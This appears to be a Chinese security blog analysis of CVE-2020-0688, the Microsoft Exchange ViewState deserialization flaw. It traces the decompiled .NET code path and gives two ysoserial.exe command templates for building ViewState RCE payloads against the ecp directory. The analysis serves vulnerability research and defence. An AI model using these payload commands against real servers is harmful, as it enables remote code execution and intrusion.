CVE-2020-0688 Exchange 远程代码执行分析
聚焦源代码安全,网罗国内外最新资讯!
01. 漏洞简介
漏洞基本信息
公告:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688
作者: Anonymous working with Trend Micro's Zero Day Initiative
环境: Windows Server 2016 Standard; Microsoft Exchange Server 2016 Cumulative Update 15;.NET Framework 4.0;
工具: dnSpy v6.1.3
补丁: 请参考公告中提供的补丁信息
02. 漏洞分析
<?xml version="1.0"?>
<configuration>
[...]
<pages theme="default" validateRequest="true" enableEventValidation="false" enableSessionState="false" enableViewState="false" enableViewStateMac="true" autoEventWireup="false">
<controls>
<add tagPrefix="asp" namespace="System.Web.UI" assembly="System.Web.Extensions, Version=3.5.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" />
<add tagPrefix="ajaxToolkit" namespace="AjaxControlToolkit" assembly="AjaxControlToolkit" />
<add tagPrefix="ecp" namespace="Microsoft.Exchange.Management.ControlPanel" assembly="Microsoft.Exchange.Management.ControlPanel" />
<add tagPrefix="ecp" namespace="Microsoft.Exchange.Management.ControlPanel.WebControls" assembly="Microsoft.Exchange.Management.ControlPanel" />
<add tagPrefix="ecp" namespace="Microsoft.Exchange.Management.ControlPanel.Reporting" assembly="Microsoft.Exchange.Management.ControlPanel" />
<add tagPrefix="asp" namespace="System.Web.UI.WebControls" assembly="System.Web.Extensions, Version=3.5.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35" />
<add tagPrefix="CsmSdk" namespace="Microsoft.Office.CsmSdk.Controls" assembly="Microsoft.Office.CsmSdk" />
</controls>
</pages>
[...]
<system.web>
<machineKey validationKey="" decryptionKey="" validation="SHA1" decryption="3DES" />
</system.web>
[...]
</configuration>
//Code snippet 0
private void ProcessRequestMain(bool includeStagesBeforeAsyncPoint, bool includeStagesAfterAsyncPoint)
{
[...]
if (EtwTrace.IsTraceEnabled(5, 4))
{
EtwTrace.Trace(EtwTraceType.ETW_TYPE_PAGE_LOAD_VIEWSTATE_ENTER, this._context.WorkerRequest);
}
this.LoadAllState();//[0]
if (EtwTrace.IsTraceEnabled(5, 4))
{
EtwTrace.Trace(EtwTraceType.ETW_TYPE_PAGE_LOAD_VIEWSTATE_LEAVE, this._context.WorkerRequest);
}
[...]
}
//Code snippet 1
private void LoadAllState()
{
object obj = this.LoadPageStateFromPersistenceMedium();//[1]
[...]
}
//Code snippet 2
protected internal virtual object LoadPageStateFromPersistenceMedium()
{
PageStatePersister pageStatePersister = this.PageStatePersister;//[3]
try
{
pageStatePersister.Load();//[2]
}
catch (HttpException ex)
{
if (this._pageFlags[8])
{
return null;
}
if (this.ShouldSuppressMacValidationException(ex))//[5]
{
if (this.Context != null && this.Context.TraceIsEnabled)
{
this.Trace.Write("aspx.page", "Ignoring page state", ex);
}
this.ViewStateMacValidationErrorWasSuppressed = true;
return null;
}
ex.WebEventCode = 3002;
throw;
}
return new Pair(pageStatePersister.ControlState, pageStatePersister.ViewState);
}
//Code snippet 3
public class HiddenFieldPageStatePersister : PageStatePersister
{
public HiddenFieldPageStatePersister(Page page) : base(page)
{
}
public override void Load()
{
if (base.Page.RequestValueCollection == null)
{
return;
}
string text = null;
try
{
text = base.Page.RequestViewStateString;
if (!string.IsNullOrEmpty(text) || !string.IsNullOrEmpty(base.Page.ViewStateUserKey))
{
Pair pair = (Pair)Util.DeserializeWithAssert(base.StateFormatter2, text, Purpose.WebForms_HiddenFieldPageStatePersister_ClientState);//[4]
base.ViewState = pair.First;
base.ControlState = pair.Second;
}
}
catch (Exception ex)
{
if (ex.InnerException is ViewStateException)
{
throw;
}
ViewStateException.ThrowViewStateError(ex, text);
}
}
internal bool ShouldSuppressMacValidationException(Exception e)
{
if (!EnableViewStateMacRegistryHelper.SuppressMacValidationErrorsFromCrossPagePostbacks)
{
return false;
}
if (ViewStateException.IsMacValidationException(e))
{
if (EnableViewStateMacRegistryHelper.SuppressMacValidationErrorsAlways)
{
return true;
}
if (!string.IsNullOrEmpty(this.ViewStateUserKey))
{
return false;
}
if (this._requestValueCollection == null)
{
return true;
}
if (!this.VerifyClientStateIdentifier(this._requestValueCollection["__VIEWSTATEGENERATOR"]))//[6]
{
return true;
}
}
return false;
}
通过__VIEWSTATEGENERATOR 的值(generator)生成payload
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "command" --validationalg="SHA1" --validationkey="" --generator="" --viewstateuserkey="" --isdebug -islegacy
通过应用路径(apppath)和文件路径(path)生成payload
并不是所有的aspx页面都会在response包中返回 __VIEWSTATEGENERATOR 的值,一般情况,Exchange的应用路径(apppath)和文件路径(path)是相对固定的。当然已知这两个路径以及配置信息是可以推算出generator的值2。结合web.config 配置文件中的信息和ViewState 反序列过程中的分析,针对该漏洞ecp目录下可访问的aspx文件均可达到RCE的效果。
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "command" --validationalg="SHA1" --validationkey="" --path="" --apppath="" --viewstateuserkey="" --isdebug -islegacy
03. 参考引用
https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys
https://github.com/pwntester/ysoserial.net
04. 更新信息
修订时间 | 简述 |
2020.02.29 | 第一版分析 |
题图:Pixabay License
转载请注明“转自奇安信代码卫士 www.codesafe.cn”。
奇安信代码卫士 (codesafe)
国内首个专注于软件开发安全的产品线。
点个“在看”,bounty 不停~